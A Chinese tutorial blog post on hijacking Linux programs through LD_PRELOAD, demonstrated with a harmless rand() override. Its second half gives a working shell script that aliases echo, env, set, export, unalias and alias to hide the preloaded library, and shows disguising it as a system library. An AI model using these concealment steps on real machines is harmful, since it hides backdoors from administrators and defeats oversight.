Linux平台使用LD_PRELOAD劫持和注入程序

文摘   2024-05-30 08:20   江苏  

Linux 平台下,涉及动态链接的程序,在程序启动时,首先运行的是动态链接器(runtime dynamic linker),检查程序所需要的动态库文件并加载到进程的虚拟地址空间,然后才将控制权交给程序入口。

前言

一般来说,程序的链接分为静态链接动态链接静态链接就是把所有所引用到的函数或变量全部地编译到可执行文件中,动态链接则不会把函数编译到可执行文件中,而是在程序运行时动态地载入函数库,也就是运行时链接。

所以,对于动态链接来说,必然需要一个动态链接库。动态链接库的好处在于,一旦动态库中的函数发生变化,对于可执行程序来说是透明的,可执行程序无需重新编译。这对于程序的发布、维护、更新起到了积极的作用。对于静态链接的程序来说,函数库中一个小小的改动需要整个程序的重新编译、发布,对于程序的维护产生了比较大的工作量。

当然,凡事都需要辩证的看,有好就有坏,有得就有失。动态链接 所带来的坏处和其好处一样同样是巨大的。因为程序在运行时动态加载函数,这也就为他人创造了可以影响你的主程序的机会。试想,一旦你的程序动态载入的函数不是你自己写的,而是载入了别人的有企图的代码,通过函数的返回值来控制你的程序的执行流程。那么,你的程序也就被人 劫持 了。

拓展Linux 平台,可执行程序的动态库加载优先级如下:

  1. LD_PRELOAD

  2. LD_LIBRARY_PATH

  3. /etc/ld.so.cache

  4. /lib

  5. /usr/lib。

我们知道 Linux 系统的命令基本都用到了 glibc 库,生成了有一个叫 libc.so.6 的文件,这是几乎所有 Linux 系统下命令的动态链接库,其中有标准 C 的各种函数。对于 GCC 而言,默认情况下,所编译的程序中对标准 C 函数的链接,都是通过动态链接方式来链接 libc.so.6 这个函数库的。

LD_PRELOAD

LD_PRELOAD 是 Linux 系统的一个环境变量,它可以影响程序运行时的链接(Runtime linker)顺序,它允许程序运行时优先加载指定的动态链接库,主要是用来有选择性的载入不同动态链接库中的相同函数,因此,这个机制可以被用来劫持程序。并且由于 全局符号介入机制 的影响,LD_PRELOAD 指定的动态链接库中的函数会覆盖之后其他动态链接库中的同名函数

通过LD_PRELOAD,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),另一方面,我们也可以向别人的程序注入我们的程序,从而达到特定的目的。

本文记录了如何通过 LD_PRELOAD 环境变量来 hook 程序,达到植入后门和调试的目的。

拓展:全局符号介入

全局符号介入指的是程序调用动态库中的函数时,如果调用的函数在多个动态库中都存在,那么链接器只会保留第一个链接的动态库中的函数,忽略之后同名的函数,所以只要预加载的全局符号中有和后加载的普通共享库中全局符号重名,那么就会覆盖后装载的共享库以及目标文件里的全局符号。

动态链接库 Hook

由于 LD_PRELOAD 可以在程序运行前指定优先加载的动态链接库,因此,我们可以重写程序运行过程中所调用的函数并编译成动态链接库文件,然后通过 LD_PRELOAD 让程序优先加载这个"恶意"的动态链接库,最后,当程序再次运行时便会加载动态链接库中的“恶意”函数。具体的操作步骤如下:

  1. 定义与目标函数完全一样的函数,包括名称、变量及类型、返回值及类型等。
  2. 将包含替换函数的源码编译为动态链接库。
  3. 通过命令 export LD_PRELOAD="库文件路径",设置要优先替换的动态链接库即可。
  4. 替换结束,要还原函数调用关系,用命令unset LD_PRELOAD 解除。

注意:第 3 步有如下两种方式可选,使用哪种方式均可。

# 指定的链接库只对紧接在后面的程序生效$ LD_PRELOAD=$PWD/hook.so ./executable
# 定义环境变量则对后续命令都生效$ export LD_PRELOAD=$PWD/hook.so

下面我们通过一个简单的实例进行演示:

/*  random_num.c */#include <stdio.h>#include <stdlib.h>#include <time.h>
int main() { srand(time(NULL)); int i = 10; while(i--) printf("%d\n", rand()%100); return 0;}

我不使用任何参数来编译它,如下所示:

gcc random_num.c -o random_num

我希望它输出的结果是明确的:从 0-99 中选择的十个随机数字,希望每次你运行这个程序时它的输出都不相同。

[root@localhost rand]# ./random_num57814089841367803145

默认情况下,gcc 编译采用动态链接,rand() 这个标准 C 库接口来自 libc.so.6

现在,让我们假装真的不知道这个可执行程序的出处。甚至将它的源文件删除,或者把它移动到别的地方 —— 我们已不再需要它了。我们将对这个程序的行为进行重大的修改,而你并不需要接触到它的源代码,也不需要重新编译它。

因此,让我们来创建另外一个简单的 C 文件 hook.c

int rand() {    // the most random number in the universe    return 10;}

我们将它编译进一个共享库中:

gcc -shared -fPIC hook.c -o hook.so

编译生成我自己定义的动态链接库 hook.so,并通过 LD_PRELOAD 设置替换成我刚编译的动态链接库 hook.so

现在我们已经有了一个可以输出一些随机数的应用程序,和一个定制的动态库,它使用一个常数值 10 实现了一个 rand() 函数。现在让我们就像运行 random_num 一样,然后再观察结果:

[root@localhost rand]# LD_PRELOAD=$PWD/hook.so ./random_num10101010101010101010

如果你想偷懒或者不想自动亲自动手(或者不知什么原因猜不出发生了什么),我来告诉你 —— 它输出了十次常数 10

如果先这样执行:

export LD_PRELOAD=$PWD/hook.so

然后再以正常方式运行这个程序,这个结果也许会更让你吃惊:一个未被改变过的应用程序在一个正常的运行方式中,结果就轻易的被我们篡改了……

[root@localhost rand]# export LD_PRELOAD=$PWD/hook.so[root@localhost rand]# ./random_num10101010101010101010

当我们的程序启动后,为程序提供所需要的函数的某些库被加载。我们可以使用 ldd 去学习它是怎么工作的:

[root@localhost rand]# ldd random_num        linux-vdso.so.1 (0x00007fffa2df3000)        libc.so.6 => /lib64/libc.so.6 (0x00007fed34c21000)        /lib64/ld-linux-x86-64.so.2 (0x00007fed34fe6000)

它列出了被程序 random_num 所需要的库的列表。这个列表是构建进可执行程序中的,并且它是在编译时决定的。在你的机器上的具体的输出可能与示例有所不同,但是,一个 libc.so 肯定是有的 —— 这个文件提供了核心的 C 函数。它包含了 “真正的” rand()

我使用下列的命令可以得到一个全部的函数列表,我们看一看 libc 提供了哪些函数:

nm -D /lib/libc.so.6

这个 nm 命令列出了在一个二进制文件中找到的符号。-D 标志告诉它去查找动态符号,因为 libc.so.6 是一个动态库。这个输出是很长的,但它确实在列出的很多标准函数中包括了 rand()

[root@localhost rand]# nm -D /lib/libc.so.6 | grep -w rand000365e0 T rand

现在,在我们设置了环境变量 LD_PRELOAD 后发生了什么?这个变量为一个程序强制加载一些动态库。在我们的案例中,它为 random_num 加载了 hook.so,尽管程序本身并没有这样去要求它。下列的命令可以看得出来:

[root@localhost rand]# LD_PRELOAD=$PWD/hook.so ldd random_num        linux-vdso.so.1 (0x00007fffbcad0000)        /tmp/rand/hook.so (0x00007fc662acc000)        libc.so.6 => /lib64/libc.so.6 (0x00007fc662707000)        /lib64/ld-linux-x86-64.so.2 (0x00007fc662cce000)

或者通过如下命令也可:

[root@localhost rand]# export LD_PRELOAD=$PWD/hook.so[root@localhost rand]# ldd random_num        linux-vdso.so.1 (0x00007ffd857af000)        /tmp/rand/hook.so (0x00007fbcf4327000)        libc.so.6 => /lib64/libc.so.6 (0x00007fbcf3f62000)        /lib64/ld-linux-x86-64.so.2 (0x00007fbcf4529000)

注意,它列出了我们当前的库。实际上这就是代码为什么得以运行的原因:random_num 调用了 rand(),但是,如果 hook.so 被加载,它调用的是我们自定义动态库中所提供的rand() 函数。

至此,我们通过LD_PRELOAD劫持和注入程序的方法就成功了。但是,只讲到这里大家有没有发现一个问题,如果只操作到这里,那么就很容易被人发现我们植入的后门。有没有什么办法能避免轻易本人发现并识别出来呢,接下来让我们一起学习下。

隐藏痕迹

如果检查环境变量 LD_PRELOAD 是否有值,就可以捕捉到蛛丝马迹

[root@localhost rand]# echo $LD_PRELOAD
[root@localhost rand]# export LD_PRELOAD=$PWD/hook.so[root@localhost rand]# echo $LD_PRELOAD/tmp/rand/hook.so

有检查的手段,就有对抗检查的手段。隐藏痕迹的思路就是利用 alias 命令给能够查看环境变量的命令都定义一个别名,在输出环境变量时做一个过滤,如果检查到输出内容有自定义的动态库名称时就输出空格字符或者不输出之类的。

隐藏echo

使用 alias 命令将 echo 定义别名

alias echo='func(){ echo $* | sed "s!/tmp/rand/hook.so! !g";};func'

首先查看环境变量 LD_PRELOAD 是没有值的,用 export 进行设置后,echo 就能看到 $LD_PRELOAD 的值了,接着用 alias 将 echo 定义别名,使得 echo 命令输出的字符串如果包含 /tmp/rand/hook.so 就给替换为空格,实验效果如下:

[root@localhost rand]# alias echo='func(){ echo $* | sed "s!/tmp/rand/hook.so! !g";};func'[root@localhost rand]# echo $LD_PRELOAD
[root@localhost rand]#

原理】:首先定义一个 func 函数,最后执行 func 函数中的内容;echo $* 会输出 echo 命令传进来的所有参数;sed 是一个非交互性文本流编辑器,s 参数表示替换,! 作为定界符(正常的分隔符是用 / ,但是避免路径中 / 的干扰,这里选择用 ! 作为定界符),g 表示全局替换。

隐藏env

env 输出环境变量时,如果 LD_PRELOAD 的值并不存在,则不会输出关于这个变量的任何信息,如果给 LD_PRELOAD 设置值之后,就能查看到一行关于这个变量的信息(如下)

[root@localhost rand]# envCONDA_SHLVL=0...HISTSIZE=1000LD_PRELOAD=/tmp/rand/hook.soLESSOPEN=||/usr/bin/lesspipe.sh %s_=/usr/bin/env

这里采用的思路是用 grep -v 来过滤掉,grep -v 指的是反转匹配。因此使用如下命令,将 env 定义别名,将除去字符串 /tmp/rand/hook.so 的内容都输出

alias env='func(){ env $* | grep -v "/tmp/rand/hook.so";};func'

观察下图能发现,最初 env 命令是成功输出了 LD_PRELOAD 环境变量的,但定义 env 别名后,再出执行 env 就已经看不到 LD_PRELOAD 环境变量了。

[root@localhost rand]# envCONDA_SHLVL=0...HISTSIZE=1000LESSOPEN=||/usr/bin/lesspipe.sh %s_=/usr/bin/env

隐藏set

隐藏 set 命令输出的环境变量和 env 同理。

alias set='func(){ set $* | grep -v "/tmp/rand/hook.so";};func'

执行结果如下:

[root@localhost rand]# set | grep LDLD_PRELOAD=/tmp/rand/hook.soOLDPWD=/root                OLD_IFS="$IFS";                IFS="$OLD_IFS";[root@localhost rand]# alias set='func(){ set $* | grep -v "/tmp/rand/hook.so";};func'[root@localhost rand]# set | grep LDOLDPWD=/root                OLD_IFS="$IFS";                IFS="$OLD_IFS";

隐藏export

export 命令的隐藏也是同理。

alias export='func(){ export $* | grep -v "/tmp/rand/hook.so";};func'

执行结果如下:

[root@localhost rand]# export | grep LDdeclare -x LD_PRELOAD="/tmp/rand/hook.so"declare -x OLDPWD="/root"[root@localhost rand]# alias export='func(){ export $* | grep -v "/tmp/rand/hook.so";};func'[root@localhost rand]# export | grep LDdeclare -x OLDPWD="/root"

隐藏unalias

接下来是对 alias 和 unalias 命令进行处理。

用 alias 可以查询到对 env 命令做了别名定义,对其使用 unalias 命令删除是可以成功的,如果没有别名的话,用 unalias 删除时应该是报错 -bash: unalias: xx: not found(实验机器为 CentOS Stream release 8,不同版本的机器上这个错误信息可能不一样)。

[root@localhost rand]# alias | grep envalias env='func(){ env $* | grep -v "/tmp/rand/hook.so";};func'[root@localhost rand]# unalias env[root@localhost rand]# unalias env-bash: unalias: env: not found

然后对 unalias 命令进行一下别名定义,希望在识别到参数为 env echo  export alias unalias 的时候都输出报错 -bash: unalias: xx: not found ,这样就造成了一种这些命令并没有被别名的假象。

shell 脚本如下,代码很容易理解,就是用了两个 if 语句确保 unalias 造成一种假象

alias unalias='func() {  if [ $# != 0 ]; then    if [ $* != "echo" ] && [ $* != "env" ] && [ $* != "set" ] && [ $* != "export" ] && [ $* != "alias" ] && [ $* != "unalias" ]; then      unalias $*    else      echo "-bash: unalias: ${*}: not found"    fi  else    echo "unalias: not enough arguments"  fi}; func'

执行 alias 命令如下,对 unalias 定义别名

alias unalias='func() { if [ $# -ne 0 ]; then if [[ $* != "echo" && $* != "env" && $* != "set" && $* != "export" && $* != "alias" && $* != "unalias" ]]; then unalias $*; else echo "-bash: unalias: ${*}: not found"; fi; else echo "unalias: not enough arguments"; fi }; func'

隐藏alias

如果用 alias 命令查看哪些函数定义别名的话,依然是个破绽,因此最后对 alias 做一个别名,伪造的方法和隐藏 export set 的输出一样,将输出有动态库名称的命令都给过滤掉,并且要额外过滤一下 unalias (避免被看出来 unalias 命令做过手脚)

alias alias='func(){ alias "$@" | grep -v unalias | grep -v hook.so;};func'

汇总上面的命令,编写 shell 脚本 hook.sh 如下:

export LD_PRELOAD=$PWD/hook.so alias echo='func(){ echo $* | sed "s!/tmp/rand/hook.so! !g";};func' alias env='func(){ env $* | grep -v "/tmp/rand/hook.so";};func' alias set='func(){ set $* | grep -v "/tmp/rand/hook.so";};func' alias export='func(){ export $* | grep -v "/tmp/rand/hook.so";};func' alias unalias='func() { if [ $# -ne 0 ]; then if [[ $* != "echo" && $* != "env" && $* != "set" && $* != "export" && $* != "alias" && $* != "unalias" ]]; then unalias $*; else echo "-bash: unalias: ${*}: not found"; fi; else echo "unalias: not enough arguments"; fi }; func' alias alias='func(){ alias "$@" | grep -v unalias | grep -v hook.so;};func'

将其执行后,调用 random_num 可以看到下图中已经触发了自定义的 hook 动态库,并且用各种方法检查环境变量 LD_PRELOAD 发现一切正常,如下所示:

[root@localhost rand]# source hook.sh[root@localhost rand]# ./random_num10101010101010101010[root@localhost rand]# env | grep LD_PRELOAD[root@localhost rand]# export | grep LD_PRELOAD[root@localhost rand]# set | grep LD_PRELOAD[root@localhost rand]# echo $LD_PRELOAD
[root@localhost rand]#

可能有的人会说,你隐藏了那么多,但是 ldd 一下不还是会露馅么,不信你看:

  [root@localhost rand]# ldd random_num        linux-vdso.so.1 (0x00007ffd857af000)        /tmp/rand/hook.so (0x00007fbcf4327000)        libc.so.6 => /lib64/libc.so.6 (0x00007fbcf3f62000)        /lib64/ld-linux-x86-64.so.2 (0x00007fbcf4529000)

确实,ldd 会显示链接的动态库,如果你像 /tmp/rand/hook.so 这样命名路径和动态库,可能的确会轻易的被发现,但是我们可以伪装成一个系统库,就不容易被发现了,如下:

[root@localhost rand]# gcc -shared -fPIC hook.c -o /lib64/libcx.so[root@localhost rand]# export LD_PRELOAD=/lib64/libcx.so[root@localhost rand]# ldd random_num        linux-vdso.so.1 (0x00007ffd0ebc8000)        /lib64/libcx.so (0x00007f63b2e38000)        libc.so.6 => /lib64/libc.so.6 (0x00007f63b2a73000)        /lib64/ld-linux-x86-64.so.2 (0x00007f63b303a000)

如果你不仔细研究,是不是就不会发现异常,这样就基本可以蒙混过关了。

至此,使用 LD_PRELOAD 劫持和注入程序就全部介绍完了。

特此说明:本文只作为参考学习使用,请勿用作其它非法用途。


Linux二进制
学习并分享Linux的相关技术,网络、内核、驱动、容器等。
 最新文章